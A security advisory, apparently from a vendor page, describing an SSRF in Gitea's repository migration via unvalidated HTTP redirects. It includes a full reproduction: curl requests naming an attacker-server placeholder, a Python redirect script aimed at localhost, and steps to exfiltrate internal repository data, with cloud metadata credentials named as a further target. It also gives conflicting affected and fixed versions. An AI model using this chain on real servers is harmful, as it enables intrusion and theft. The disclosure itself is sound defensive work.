Summary
Gitea: SSRF via HTTP Redirect in Repository Migration
Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (POST /api/v1/repos/migrate) and correctly blocks requests to internal addresses like 127.0.0.1 or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.
Affected Version
Gitea 1.25.4 (latest stable at time of writing), default configuration.
Prerequisites
- A regular Gitea user account (no admin privileges required)
- An attacker-controlled server reachable from the internet that serves HTTP 302 redirects
Reproduction
Environment
| Role | Location | Network |
|---|---|---|
| Attacker | Any machine with internet access | External network (VLAN A) |
| Gitea Server | Windows 11 VM, Gitea 1.25.4, default config, SQLite | Internal network (VLAN B) |
| Internal service | Same VM, bound to 127.0.0.1:18082 |
Localhost only |
| Redirect server | Attacker-controlled public server, port 18080 | Internet |
The attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.
Step 1: Create an attacker account on Gitea
Register a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under Settings > Applications with the repo: write scope. The migration endpoint requires this because it creates a new repository. This token is referenced as <USER_TOKEN> in the steps below.
Step 2: Set up an internal service on the Gitea host
On the Gitea VM, create a bare Git repository that simulates an internal service:
mkdir C:\internal-repo
cd C:\internal-repo
git init
echo CONFIDENTIAL_DATA_2025 > secret.txt
git add .
git commit -m "internal confidential"
git clone --bare . C:\internal.git
cd C:\internal.git
git update-server-info
python -m http.server 18082 --bind 127.0.0.1
This serves a Git repository on localhost port 18082. It is not reachable from outside the machine.
Step 3: Confirm Gitea blocks direct access to internal addresses
From the attacker machine:
curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
-H "Authorization: token <USER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://127.0.0.1:18082/",
"repo_name": "direct-test",
"service": "git"
}'
Response:
{"message":"You can not import from disallowed hosts."}
This confirms that Gitea correctly blocks migration from internal addresses when provided directly.
Step 4: Set up a redirect server
On an attacker-controlled public server, run a script that redirects all requests to the internal service:
from http.server import BaseHTTPRequestHandler, HTTPServer
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
path = self.path
if path.startswith("/repo.git"):
path = path[len("/repo.git"):]
target = f"http://127.0.0.1:18082{path}"
self.send_response(302)
self.send_header("Location", target)
self.end_headers()
print(f"[+] Redirected {self.path} -> {target}")
do_HEAD = do_GET
HTTPServer(("0.0.0.0", 18080), RedirectHandler).serve_forever()
Step 5: Exploit the redirect bypass
From the attacker machine:
curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
-H "Authorization: token <USER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://<ATTACKER_SERVER>:18080/repo.git",
"repo_name": "exfil-test",
"service": "git",
"private": true
}'
Response: HTTP 201 Created. The migration succeeds.
Step 6: Retrieve the exfiltrated data
From the attacker machine:
git clone http://attacker:password@<GITEA_SERVER>:3000/attacker/exfil-test.git
cat exfil-test/secret.txt
Output:
CONFIDENTIAL_DATA_2025
The attacker now has the contents of the internal repository that was only accessible on localhost.
What happens during the attack
- The attacker sends a migration request pointing to their public server.
- Gitea validates the URL. The destination is a public IP, so it passes the check.
- Gitea contacts the attacker's server to clone the repository.
- The attacker's server responds with
302 Location: http://127.0.0.1:18082/... - Gitea follows the redirect to
127.0.0.1without validating the new destination. - The internal service responds and Gitea stores the result as a new repository owned by the attacker.
- The attacker clones their newly created repository and reads the internal data.
Impact
Any authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:
- Internal Git repositories or other version control systems not exposed to the internet
- Cloud metadata endpoints (
169.254.169.254) which serve temporary credentials on AWS, GCP, and Azure - Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks
- Other services within the same network segment that trust connections from the Gitea server
The full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-58418 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.26.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Validate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.
Frequently Asked Questions
- What is CVE-2026-58418? CVE-2026-58418 is a medium-severity server-side request forgery (SSRF) vulnerability in code.gitea.io/gitea (go), affecting versions < 1.26.3. It is fixed in 1.26.4. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-58418? CVE-2026-58418 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of code.gitea.io/gitea are affected by CVE-2026-58418? code.gitea.io/gitea (go) versions < 1.26.3 is affected.
- Is there a fix for CVE-2026-58418? Yes. CVE-2026-58418 is fixed in 1.26.4. Upgrade to this version or later.
- Is CVE-2026-58418 exploitable, and should I be worried? Whether CVE-2026-58418 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-58418 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-58418? Upgrade
code.gitea.io/giteato 1.26.4 or later.